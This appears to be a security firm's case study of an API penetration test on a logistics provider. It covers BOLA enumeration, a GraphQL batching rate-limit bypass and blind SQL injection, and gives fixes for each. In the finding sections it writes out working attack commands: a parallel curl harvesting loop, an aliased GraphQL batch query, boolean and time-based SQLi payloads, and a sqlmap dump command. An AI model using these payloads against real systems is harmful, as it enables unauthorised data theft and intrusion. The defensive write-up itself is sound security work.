API Penetration Testing Eliminating BOLA mass-data exposure, GraphQL introspection-driven rate-limit bypasses, and a blind SQL injection buried in an undocumented legacy logistics endpoint
Project Details
- Client
- TransGlobe is a global freight and last-mile logistics provider moving over 4.2 million parcels per day across 38 countries, operating a complex microservices estate that exposes more than 600 internal and external REST and GraphQL endpoints behind a unified API gateway
- Industry
- Logistics / Supply Chain
- Company Size
- 4,500 - 6,000
- Headquarters
- Rotterdam, Netherlands
- Project Duration
- 1 month (Mar 2026 - Apr 2026)
A comprehensive grey-box API penetration test of a global logistics provider (TransGlobe Logistics) spanning 600+ REST and GraphQL endpoints behind a unified gateway. The engagement uncovered and remediated a mass BOLA/IDOR exposure leaking customer shipment manifests, a GraphQL introspection leak chained with query batching to bypass rate limiting, and a blind boolean/time-based SQL injection in an undocumented legacy tracking endpoint — establishing object-level authorization, schema governance, and cost-aware query limits across the estate.
Engagement Classification · TLP:RED
Project ManifestGuard / API Gateway Audit
Full-scope grey-box API penetration test of a 600+ endpoint logistics microservice estate. 7 weeks, deep REST & GraphQL authorization analysis, and remediation of object-level access control, rate-limiting, and injection vectors at the gateway edge.
When the Gateway Becomes the Whole Attack Surface
Ask a logistics engineer where the business lives and they will point at a warehouse. They are wrong. The parcel scan, the customs declaration, the last-mile handoff, the partner integration — every one of them is an HTTP request crossing a mesh of microservices, and none of them touch a truck. For TransGlobe, the API gateway is not a peripheral component. It is the single most valuable and most exposed asset the company owns, and it had been treated as plumbing.
Centralisation cuts both ways. A unified gateway buys you consistent authentication, observability, and routing in one place — and it also means a single authorisation gap does not stay local; it cascades across 600+ downstream endpoints behind the same trusted edge. TransGlobe’s SOC noticed it first: sequential, high-velocity object lookups against the customer manifest service, all originating from one low-privilege partner token. That pattern is what a data harvest looks like from the outside. They brought us in for a deep, grey-box assessment of the core API estate, and what we found was a textbook case for why the OWASP API Security Top 10 exists as a separate discipline from the classic web Top 10 — the flaws that matter most here are invisible to the tools built for the latter.
Technical Audit Snapshot
5-Phase API Testing Methodology
We ran a structured, five-phase grey-box methodology aligned to the OWASP API Security Testing Guide. The starting position was deliberately thin: two low-privilege partner credentials and not one page of documentation for the legacy estate. That is not a limitation — it is the point. It mirrors exactly what an attacker gets after phishing a single partner integration, and it forces the discovery work that a credentialed white-box test quietly skips over.
Endpoint Discovery & Schema Harvesting
Enumerated REST routes from OpenAPI fragments, JS bundles, and mobile traffic captures; harvested the full GraphQL type system via introspection. Surfaced 140+ undocumented and legacy endpoints invisible to the official API catalog.
Authentication & Authorization Mapping
Reconstructed the token model (partner JWT, internal service mTLS, admin scopes) and built an object-ownership matrix — which identity should be able to read or mutate which resource — to systematically hunt for object- and function-level gaps.
Privilege Escalation & BOLA/BFLA Testing
Replayed every read/write across identity boundaries: swapping object IDs (BOLA), invoking admin-only functions with partner tokens (BFLA), and tampering with tenant claims to cross the multi-tenant boundary.
Fuzzing, Injection & Rate-Limit Abuse
Fuzzed parameters for injection sinks, chained GraphQL query batching and aliasing to defeat request-count throttling, and probed legacy tracking endpoints for boolean and time-based blind SQL injection.
Remediation Engineering & Verification
Co-authored object-level authorization middleware, disabled production introspection, deployed cost-based query limits, and parameterized the legacy data layer — then re-ran the full attack suite to confirm closure.
Target Architecture Under Test
All external and partner traffic enters through a single Edge API Gateway fronting a mesh of domain microservices. The gateway answers one question well — is this token valid? — and historically punted the harder one, can this token read this specific object?, down to each service to answer for itself. Some did. Some did not. That inconsistency is the whole vulnerability: a trust boundary that exists on paper but is enforced in eleven different places, at eleven different levels of rigour, by teams who each assumed the gateway had already handled it.
JWT + Rate Limit}:::gateway Manifest[Manifest Service
REST]:::logic Track[Tracking Service
GraphQL]:::logic Legacy[Legacy Trace API
Undocumented]:::logic PG[(PostgreSQL
Manifests)]:::datastore Mongo[(MongoDB
Events)]:::datastore MySQL[(Legacy MySQL)]:::datastore Partner --> Gateway Mobile --> Gateway Gateway -.-> Manifest Gateway -.-> Track Gateway -.-> Legacy Manifest --> PG Track --> Mongo Legacy --> MySQL
JWT Auth + Token-Bucket Rate Limit}:::gateway Manifest[Manifest Service
Customer Shipping Ledgers]:::logic Track[Tracking Service
Parcel Event Graph]:::logic Legacy[Legacy Trace API
Undocumented v1 Endpoint]:::logic PG[(PostgreSQL
Manifest Records)]:::datastore Mongo[(MongoDB
Tracking Events)]:::datastore MySQL[(Legacy MySQL 5.6
Raw Trace Logs)]:::datastore Partner --> Gateway Mobile --> Gateway Gateway -.REST.-> Manifest Gateway -.GraphQL.-> Track Gateway -.legacy route.-> Legacy Manifest --> PG Track --> Mongo Legacy --> MySQL
Vulnerability Classification Matrix
Each finding was scored with CVSS v3.1 and mapped to the OWASP API Security Top 10 (2023) — the framework built for the API-specific risk classes the generic web Top 10 underweights. The two headline critical findings both scored at or above 9.4, and neither would have been caught by an automated scanner: BOLA has no signature, and a blind SQL injection behind an undocumented route is not in anyone’s crawl map.
API Endpoint Threat Landscape
Findings on their own do not tell an operations team where to look tomorrow. So beyond the headline vulnerabilities, we scored every reachable route on a composite threat index blending authentication strength, object-ownership enforcement, observed request volume, and data sensitivity. Volume matters here in a way people underestimate: the /v2/manifests/{id} route sees 18 million requests a day, so a flaw there is not a theoretical exposure but a haystack an attacker can hide 2.4 million malicious reads inside. The table below is the live triage board the TransGlobe platform team now runs in production.
← Swipe horizontally to view the full landscape →
Critical Finding OC-API-001 — Mass BOLA in the Manifest Service
Broken Object Level Authorization (BOLA) sits at number one on the OWASP API Security Top 10 for three reasons that all held true here: scanners cannot see it, a first-year developer can exploit it, and at scale it is catastrophic. TransGlobe’s GET /v2/manifests/{manifestId} endpoint verified the caller’s JWT correctly — signature valid, not expired, right issuer — and then never asked the one question that actually protects the data: does this token’s tenant own this manifest?
The exploit was handed to us by a design decision nobody flagged as security-relevant. manifestId values were sequential, monotonically increasing integers. Not UUIDs, not tenant-scoped identifiers — just 100001, 100002, 100003. A single low-privilege partner token could therefore walk the entire customer shipping ledger by counting: names, addresses, declared parcel contents, customs valuations, and commercial counterparties, for every customer of every competing partner on the platform. The predictable-ID choice was made for a legacy admin UI years earlier; it quietly became the difference between a bounded leak and a total one.
BOLA Exploitation Flow
← Swipe horizontally to view full exploitation flow →
Attack Proof-of-Concept
There is no clever payload here, and that is the uncomfortable part. The enumeration is a for loop. With 200 concurrent workers and the partner’s own legitimate token — no stolen credentials, nothing that trips an auth alarm — the full ledger came out in under four hours. That fits inside a single overnight maintenance window, which is precisely when nobody is watching the request graph.
# Single-object proof: read a manifest the partner does NOT own
curl -s -X GET "https://api.transglobe.example/v2/manifests/1872042" \
-H "Authorization: Bearer $PARTNER_JWT" \
-H "Accept: application/json" | jq '{id, customer: .consignee.name, value: .customs.declaredValue}'
# Output (object belongs to a DIFFERENT partner tenant):
# {
# "id": 1872042,
# "customer": "Helvetia Pharma AG",
# "value": "EUR 412,900.00"
# }
# Weaponized enumeration: harvest the entire ledger
seq 100000 2499999 | \
xargs -P 200 -I {} curl -s \
-H "Authorization: Bearer $PARTNER_JWT" \
"https://api.transglobe.example/v2/manifests/{}" \
>> harvested_manifests.jsonl
Root Cause — Authentication ≠ Authorization
The vulnerable handler trusted the gateway’s authentication and resolved the object purely by the path parameter. There was no ownership predicate binding the authenticated tenant to the requested row. The fix is four words of where clause — filter on tenantId at the data-access boundary — and the cost worth naming is that it has to be applied on every read and write, not just this one. Bolt it onto a single handler and you have fixed a symptom; the next endpoint someone writes reintroduces the flaw. That is why the real remediation was middleware, not a patch.
// Resolves object by ID only — no ownership check
app.get('/v2/manifests/:id', authGuard, async (req, res) => {
const manifest = await db.manifest.findUnique({
where: { id: Number(req.params.id) },
});
if (!manifest) return res.status(404).end();
// BOLA: any valid token reads ANY manifest
return res.json(manifest);
});// Enforce tenant ownership at the data-access boundary
app.get('/v2/manifests/:id', authGuard, async (req, res) => {
const tenantId = req.auth.tenantId; // from verified JWT
const manifest = await db.manifest.findFirst({
where: {
id: Number(req.params.id),
tenantId, // ownership predicate
},
});
// 404 (not 403) avoids leaking object existence
if (!manifest) return res.status(404).end();
// Centralized policy assertion as defense-in-depth
assertCanRead(req.auth, manifest);
return res.json(toManifestDTO(manifest, req.auth.scopes));
});Live Request Tamperer
Replay the identical cross-tenant manifest read against both builds. Toggle the intercept tab to send the request through the vulnerable handler versus the ownership-enforcing endpoint, and watch the response diverge. Note the deliberate choice on the secured side: a 404, not a 403. A 403 confirms the object exists and you simply cannot see it — which is itself a data leak, one that lets an attacker map which IDs are real. The 404 says nothing.
GET /v2/manifests/1872042 HTTP/1.1
Host: api.transglobe.example
Authorization: Bearer <partner_token_tenant_A>
Accept: application/json
# Object 1872042 belongs to tenant_B{
"id": 1872042,
"tenantId": "tenant_B",
"consignee": { "name": "Helvetia Pharma AG",
"address": "Basel, CH-4051" },
"customs": { "declaredValue": "EUR 412900.00",
"contents": "Temp-controlled APIs" }
}The handler resolves the object by ID alone. Tenant A reads tenant B’s confidential manifest — a single request in a 2.4M-record enumeration.
{
"error": "RESOURCE_NOT_FOUND",
"detail": "No manifest matches the requested id
for the authenticated tenant.",
"policy": "object.ownership.tenant_scope",
"logId": "telemetry-bola-7741c"
}The ownership predicate filters on tenantId, so the row is invisible to tenant A. Returning 404 (not 403) avoids confirming the object exists.
Critical Finding OC-API-002 — GraphQL Introspection Leak + Batching Rate-Limit Bypass
The Tracking Service exposed a GraphQL endpoint at /graphql with introspection enabled in production. Introspection is a genuine developer convenience — it lets a client download the entire schema, every type, field, argument, and deprecated mutation, which is exactly what makes GraphiQL usable. Ship it to production and that same convenience becomes a free, perfectly accurate map of your internal data model, handed to anyone who asks, including the resolvers the public docs never mention. partnerSettlementLedger was one of them.
The rate limiter made it worse, and the mechanism is worth understanding because so many teams get it wrong. The gateway throttled by HTTP request count. For a REST API that is roughly fine; for GraphQL it is meaningless, because a single HTTP request can carry hundreds of operations. Combine query batching — an array of operations in one POST — with field aliasing — the same expensive resolver invoked many times under different alias names — and thousands of logical queries collapse into a handful of requests that never approach the per-minute limit. The limiter is doing its job perfectly and protecting nothing.
Step 1 — Harvest the Schema via Introspection
# Pull the full type system — no auth scope required
curl -s -X POST "https://api.transglobe.example/graphql" \
-H "Authorization: Bearer $PARTNER_JWT" \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery { __schema { types { name fields { name args { name type { name } } } } } }"}' \
| jq '.data.__schema.types[] | select(.name=="Query") | .fields[].name'
# Reveals undocumented, sensitive resolvers:
# "manifestByTrackingId"
# "internalRouteCostBreakdown"
# "partnerSettlementLedger" <-- should never be partner-reachable
Step 2 — Defeat the Rate Limiter with Batching + Aliasing
The limiter counted one HTTP POST as one unit of cost. The single request below executes 500 distinct lookups and counts as exactly one against the quota — a 500-to-1 discount the attacker did not have to ask for.
# One HTTP request → 500 aliased resolver invocations
query BatchedHarvest {
q0: manifestByTrackingId(id: "TG-100000") { consignee { name address } customs { declaredValue } }
q1: manifestByTrackingId(id: "TG-100001") { consignee { name address } customs { declaredValue } }
q2: manifestByTrackingId(id: "TG-100002") { consignee { name address } customs { declaredValue } }
# ... aliases q3 … q499 generated programmatically ...
q499: manifestByTrackingId(id: "TG-100499") { consignee { name address } customs { declaredValue } }
}
Chained onto the BOLA flaw above, this is what turns a serious finding into an emergency. The four-hour enumeration loop collapses into a handful of throttle-evading batch requests — quiet enough that the volume-based anomaly detection that first flagged the partner token would very likely have missed it.
Attack Vector Diagram
counts requests?} RL -->|Yes: counts as 1| Pass[Under quota → forwarded]:::vuln Pass --> Batch[Server expands 500 aliased ops]:::vuln Batch --> Harvest[500 resolver hits per request]:::vuln RL -->|Hardened: cost-based| Cost{Query cost > budget?} Cost -->|Yes| Reject[429 Too Many Points]:::ok Cost -->|No| Allow[Execute within budget]:::ok
The Remediation Block (Before vs After)
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: true, // schema leaked in prod
// no depth / cost limits
// no batch-size cap
});
// Gateway limiter keyed on request COUNT only
rateLimit({ windowMs: 60_000, max: 100 });import depthLimit from 'graphql-depth-limit';
import { createComplexityRule } from 'graphql-query-complexity';
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production',
validationRules: [
depthLimit(8),
createComplexityRule({
maximumComplexity: 1000, // cost budget
estimators: [fieldCostEstimator],
onComplete: (cost) => meter(cost),
}),
],
// cap operations per batched request
plugins: [batchLimitPlugin({ maxOps: 10 })],
});
// Cost-aware limiter: charge POINTS, not requests
rateLimit({ windowMs: 60_000, max: 5000, cost: queryCost });Critical Finding OC-API-003 — Blind SQL Injection in the Legacy Trace Endpoint
The most dangerous endpoint in the estate was the one nobody remembered. Endpoint discovery surfaced an undocumented v1 route, GET /api/v1/trace, still wired through the gateway and still backed by an ageing MySQL 5.6 instance. It predated the platform’s ORM migration, so while every modern service used parameterised queries, this one built its SQL the old way — string concatenation. It returned only a generic 200 or 500 and never echoed a row of data, which is exactly why it had survived: it looked harmless and it did not appear in any catalogue. It was also cleanly injectable, a textbook blind SQL injection exploitable by boolean and time-based inference. Undocumented never meant unreachable; it only meant unmonitored.
Boolean-Based Inference
A true condition returned the normal 200 payload; a false condition returned an empty body. That is all an attacker needs — a binary oracle that answers yes or no. Ask enough yes/no questions about the database one bit at a time and you reconstruct arbitrary data; it is slow, it is entirely automatable, and the endpoint’s silence does nothing to stop it.
# Baseline — valid reference returns 200 with a trace record
curl -s -o /dev/null -w "%{http_code}\n" \
"https://api.transglobe.example/api/v1/trace?ref=TG-100000" \
-H "Authorization: Bearer $PARTNER_JWT"
# 200
# TRUE condition → 200 (record returned)
curl -s -o /dev/null -w "%{http_code}\n" \
"https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%201=1--%20-" \
-H "Authorization: Bearer $PARTNER_JWT"
# 200
# FALSE condition → 200 but empty body (oracle flips)
curl -s "https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%201=2--%20-" \
-H "Authorization: Bearer $PARTNER_JWT"
# []
Time-Based Confirmation & Extraction
When the response body gives nothing away, latency does. A SLEEP() payload turns the database’s own response time into the oracle: ask it to pause five seconds when a condition is true, and the stopwatch answers the question the body would not. It confirms the injection beyond doubt and opens the same bit-by-bit extraction path, just measured in clock time instead of payload size.
# If the first char of the DB version is '5', the response hangs ~5s
curl -s -o /dev/null -w "%{time_total}s\n" \
"https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%20IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--%20-" \
-H "Authorization: Bearer $PARTNER_JWT"
# 5.04s → confirmed
# Automated end-to-end extraction
sqlmap -u "https://api.transglobe.example/api/v1/trace?ref=TG-100000" \
--headers="Authorization: Bearer $PARTNER_JWT" \
--technique=BT --dbms=mysql --batch --threads=8 \
--dump -T users -D legacy_trace
Blind Inference Flow
The Remediation Block (Before vs After)
app.get('/api/v1/trace', legacyAuth, (req, res) => {
const ref = req.query.ref;
// String concatenation → injectable
const sql =
"SELECT * FROM trace_log WHERE ref = '" + ref + "'";
legacyDb.query(sql, (err, rows) => {
if (err) return res.status(500).end();
return res.json(rows);
});
});import { z } from 'zod';
const traceQuery = z.object({
// Strict allow-list format for shipment refs
ref: z.string().regex(/^TG-[0-9]{6,10}$/),
});
app.get('/api/v1/trace', legacyAuth, async (req, res) => {
const { ref } = traceQuery.parse(req.query);
// Parameterized / prepared statement — no concat
const rows = await legacyDb.execute(
'SELECT ref, status, scanned_at FROM trace_log WHERE ref = ?',
[ref],
);
return res.json(rows);
});API Kill Chain Explorer
No single finding here would have lost TransGlobe its customer ledger. The chain would. Step through it interactively — select a stage to light up the attack path and see the exact tooling, request, and outcome at each hop, from passive endpoint discovery through to a throttle-evading mass-data harvest. The lesson worth carrying out of it: individually these were a Medium and two Criticals; strung together they were an extinction-level breach, and no scanner scores a chain.
# Mine JS bundles + replay mobile traffic for hidden routes
ffuf -u https://api.transglobe.example/FUZZ -w api-routes.txt -mc 200,401,403
# GraphQL introspection dumps the entire type system
gql-cli https://api.transglobe.example/graphql --introspect > schema.json140+ undocumented and legacy routes surface that never appeared in the official API catalog — including /api/v1/trace and partnerSettlementLedger.
# Decode the partner JWT — scope is coarse, tenant claim trusted downstream
jwt decode $PARTNER_JWT
{ "sub": "partner_A", "tenantId": "tenant_A", "scope": "manifests:read" }
# Gateway authenticates the token but never re-checks object ownershipThe token is valid and low-privilege — exactly the access a compromised partner integration would hold. Authorization is delegated, inconsistently, to each service.
curl -s -H "Authorization: Bearer $PARTNER_JWT" \
https://api.transglobe.example/v2/manifests/1872042
# 200 OK — object owned by tenant_B is returned to tenant_ASequential integer IDs + no ownership predicate = a clean read oracle across every tenant on the platform. Each increment is another competitor’s confidential manifest.
# 500 aliased resolver calls in ONE request — counts as 1 vs the limiter
python3 batch_harvest.py --aliases 500 --range 100000-2499999
>>> 2,400,000 manifests harvested in 47 batched requestsChaining BOLA with GraphQL aliasing collapses a four-hour loop into a handful of requests that never trip the per-minute throttle — the full customer ledger, exfiltrated quietly.
Attack Volume vs Blocked Requests · Remediation Telemetry
Live gateway telemetry across the seven-week engagement. Read it with one caveat in mind: the rising red line is not proof the attack got worse, it is proof the detection got better — you cannot block what you were never scoring. As object-level authorisation, cost-based GraphQL limits, and parameterised queries shipped, flagged malicious volume climbed while the share blocked at the edge converged on 100%. The gap between the two lines is the window an attacker had before each fix landed, which is the honest way to read a remediation curve.
Malicious API Volume vs Edge-Blocked Requests
Weekly counts (thousands) of flagged requests vs requests rejected at the gateway
Side-by-Side Attack Simulator Replay
The same BOLA enumeration payload, replayed side by side against the legacy gateway and the post-engagement hardened build. The request is byte-for-byte identical in both panes — the only thing that changed is where the ownership check lives.
Helvetia Pharma AG2,400,000 manifests harvestableEngagement Coverage · OWASP API Security Top 10 (2023)
Every risk class in the OWASP API Security Top 10 was exercised against the estate — not just the three that produced headline findings. The table maps test depth and the exposure delta from pre-audit baseline to the hardened build. One row is deliberately left open: API9, Improper Inventory Management, is marked monitor rather than closed, because inventory management is not a control you finish. The /api/v1/trace endpoint proved that. Close it today and a re-org, an acquisition, or a forgotten migration reopens it next quarter; the honest status is ongoing, and pretending otherwise is how the next undocumented route gets written.
Quantifiable Business Impact
The engagement turned an active, SOC-flagged exfiltration risk into a hardened, partner-defensible API programme — and, more concretely, closed the path a competitor would have used to walk off with TransGlobe’s entire customer shipping ledger. The numbers below are the ones that survived a sceptical read; where a figure depended on a hypothetical breach cost we left it out, because “prevented theft of a 2.4M-record ledger” is a defensible claim and a dollar figure attached to a breach that never happened is not.
Strategic Takeaways
Securing a large microservice estate is not about hardening one service well. It is about enforcing the same trust boundary consistently, at the gateway and the data-access layer, across every endpoint — including the ones no one has looked at since 2019.
- Authentication is not authorisation. A valid token answers “who are you,” never “may you touch this object.” Object-level ownership has to be enforced at the data-access boundary on every read and write, and the reason BOLA remains the most-exploited API flaw is precisely that it hides behind a green authentication check — the request looks legitimate at every layer except the one that was never written.
- GraphQL needs cost, not count. Throttling by HTTP request count is theatre when a single request can carry hundreds of aliased operations. Disable production introspection, cap query depth and batch size, and budget by query complexity points. The trade-off is real — complexity accounting adds latency to every query and needs tuning so legitimate heavy queries are not rejected — and it is worth paying, because the alternative is a limiter that reports healthy while the data walks out.
- Undocumented does not mean unreachable. The endpoint that nearly cost the most was the one nobody remembered owning. Continuous endpoint discovery, an authoritative and maintained API inventory, and active decommissioning of legacy routes are security controls, not housekeeping — and every query gets parameterised and every input validated no matter how old or how quiet the service.
Ready to secure your architecture?
Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organisation.
System Schema & Architecture
Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.
Hear it straight from TransGlobe Logistics
“"We process millions of shipment manifests daily, and our entire business runs on APIs. When our SOC flagged anomalous bulk-read patterns against our customer manifest service, we needed answers fast. The assessment team didn't just confirm the leak — they reconstructed the exact enumeration chain, proved a competitor could have harvested our entire customer shipping ledger, and handed us production-ready object-level authorization middleware. They turned a terrifying blind spot into the most rigorous API security program we've ever run."
Mariëlle Devos
VP of Platform Engineering at TransGlobe Logistics
Mobile Application Penetration Testing
Securing a digital-health flagship (iOS & Android) against insecure PHI storage, SSL-pinning bypass MITM, and hardcoded API keys ahead of a high-profile launch
Cloud Security Review
Eliminating multi-account IAM privilege escalation, exposed Terraform state, and public jump-box exposure across a high-growth AWS serverless estate aligned to the CIS AWS Foundations Benchmark